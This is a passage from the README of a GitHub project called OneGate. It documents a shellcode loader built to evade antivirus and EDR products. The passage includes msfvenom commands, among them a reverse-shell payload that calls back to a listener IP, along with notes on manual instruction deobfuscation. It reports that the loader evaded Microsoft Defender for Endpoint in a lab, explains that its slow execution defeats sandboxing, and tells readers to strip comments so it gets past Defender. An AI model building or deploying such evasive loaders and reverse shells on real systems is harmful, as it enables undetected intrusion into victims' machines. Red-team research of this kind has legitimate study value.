dummy set, so that the number of dummy instructions is not always the same. Before executing the dummy instructions, it saves the thread context of the shellcode execution. This enables the dummy instructions to modify them at will. The tread context is then restored and execution of the shellcode continues as if nothing happened. 45 | 46 | Currently the `instructions[][]` array only takes instructions which are three bytes in length. There is also a hardcoded value in the `CreateDummy()` function which only allows it to deal with three byte instructions. The size of the array and the hard coded instructions can be changed at will to avoid signature based detections, however no testing has been conducted with instructions larger than 3 bytes in length. At the moment the dummy instructions just modify values in the registers using things like `inc`, `sub`, `xor` etc. 47 | 48 | OneGate takes a **LOOOOONG** time to run payloads, so be patient after you launch it. On my VM with very little system resources it takes about 3 minutes to spawn a calculator and 20 minutes to get a reverse shell connection. In the lab environment (see Evasion) it took about 6 minutes to get a reverse shell. 49 | 50 | There are two `.c` files in the Executor project folder. One is an example with running calc.exe and the other is a reverse shell. You will need to set one as "Exclude From Project" otherwise it will not compile. 51 | 52 | ### Shortfall of deobfusaction technique 53 | 54 | One shortfall of this technique is that unless the RIP points to a particular instruction it will not be deobfuscated. For example the last few instructions of `msfvenom -p windows/x64/exec CMD=calc.exe` are: 55 | ``` 56 | 106: 41 89 da mov r10d,ebx 57 | 109: ff d5 call rbp 58 | 10b: 63 61 6c movsxd esp,DWORD PTR [rcx+0x6c] 59 | 10e: 63 00 movsxd eax,DWORD PTR [rax] 60 | ``` 61 | 62 | Ordinarly `call rbp` would trigger the two instructions after it (these spell out "calc" which tells it what to run), however as these are still obfuscated when `call rbp` is executed nothing happens. Therefore we need to unmask these instructions manually. At present it is done in a lazy way - it just reveals these instructions at all times. Two special arrays are created: 63 | ``` 64 | const unsigned char second_last[] = { 0x63, 0x61, 0x6c }; 65 | const unsigned char last[] = { 0x63, 0x00 }; 66 | ``` 67 | 68 | One the first run of the vectored exception handler it writes them to the allocated memory space: 69 | ``` 70 | memcpy((DWORD64)baseAddress + 0x10B, second_last, 3); 71 | memcpy((DWORD64)baseAddress + 0x10E, last, 2); 72 | ``` 73 | 74 | These are not overwritten as only instructions that are deobfuscated are overwritten again. 75 | 76 | A better way to handle this could be just in time deobfuscation, where there is a check to see if the RIP is at offset `109` and then have it deobfuscate 7 bytes as opposed to only 2. This has not been implemented here because as mentioned above this is a proof of concept. 77 | 78 | ## Evasion 79 | 80 | This was tested in [Altered Security](https://www.alteredsecurity.com/)'s lab environment (shout out to Nikhil for letting me test it on there) which had a machine running Microsoft Defender for Endpoint (Microsoft's EDR solution). OneGate was infiltrated to the target machine and run from disk without using any sort of in memory PE loading techniques. Using the payload `msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.91 LPORT=9000` built on `notepad.exe` a reverse connection was successfully established to the listener machine. 81 | 82 | Image 83 | 84 | An analysis of the MDE dashboard shows only one detection by MDE which had to do with a compromised account and the dumping of a SAM hive (this was a shared environment so other people were doing other things). This detection was present prior to running OneGate. Of interest is the fact that MDE had flagged the `jumpone$` account shown in the picture below as being compromised - this was the same account used to sign in to deploy OneGate on the target machine meaning that even with a flagged account MDE did not detect the execution of the reverse shell. 85 | 86 | 87 | Image 88 | 89 | 90 | While not definitive, it is believed that the fact that OneGate takes so long to run the shellcode helps with defeating AV/EDR sandboxing. Seeing as the AV/EDR cannot run OneGate in a sandbox forever, it runs it for however long it can and determines that nothing malicious is going on and lets it run in the production environment. The prevents the need for sandbox detection and evasion techniques to have to built into the loader which may be detected. 91 | 92 | ### Other EDRs 93 | 94 | If anyone gets the opportunity to test this against other EDRs please drop me a line and let me know how it goes. I really wanted to see how this would go up against Crowdstrike especially, but wasn't able to get access to an environment where it was avialable. 95 | 96 | ### BIG NOTE 97 | Currently OneGate prints a lot of things that I had in there for debugging purposes. I have left these prints in so that you can see what OneGate is doing if you decide to single step it through a debugger. I have also left comments in there so that you (and I when I come back to it six months later) can hopefully make sense of my code. 98 | 99 | In order to get it past defences, **remove all prints and comments from the code** (you can leave error printing). With everything still in there even good old basic Windows Defender will trigger a signature based detection as soon as it touches disk (I think this has to do with the comment containing the string "msfvenom"). 100 | 101 | 102 | ## Known Issues 103 | 104 | OneGate (the executor part) will randomly throw an access violation error. I think this has something to do with the random allocation of the payload starting point and the location of the address where any dummy code is held but I have not been able to figure it out yet. If you get an access violation error, just run OneGate again. 105 | -------------------------------------------------------------------------------- /pictures/2_JS188188658-1141921000.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b0bd0g/OneGate/52af8762128b832d758930ac2c2e848abb44fb8c/pictures/2_JS188188658-1141921000.jpg -------------------------------------------------------------------------------- /pictures/constructor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b0bd0g/OneGate/52af8762128b832d758930ac2c2e848abb44fb8c/pictures/constructor.png -------------------------------------------------------------------------------- /pictures/mde_dashboard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b0bd0g/OneGate/52af8762128b832d758930ac2c2e848abb44fb8c/pictures/mde_dashboard.png -------------------------------------------------------------------------------- /pictures/rev_shell_connect.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b0bd0g/OneGate/52af8762128b832d758930ac2c2e848abb44fb8c/pictures/rev_shell_connect.png --------------------------------------------------------------------------------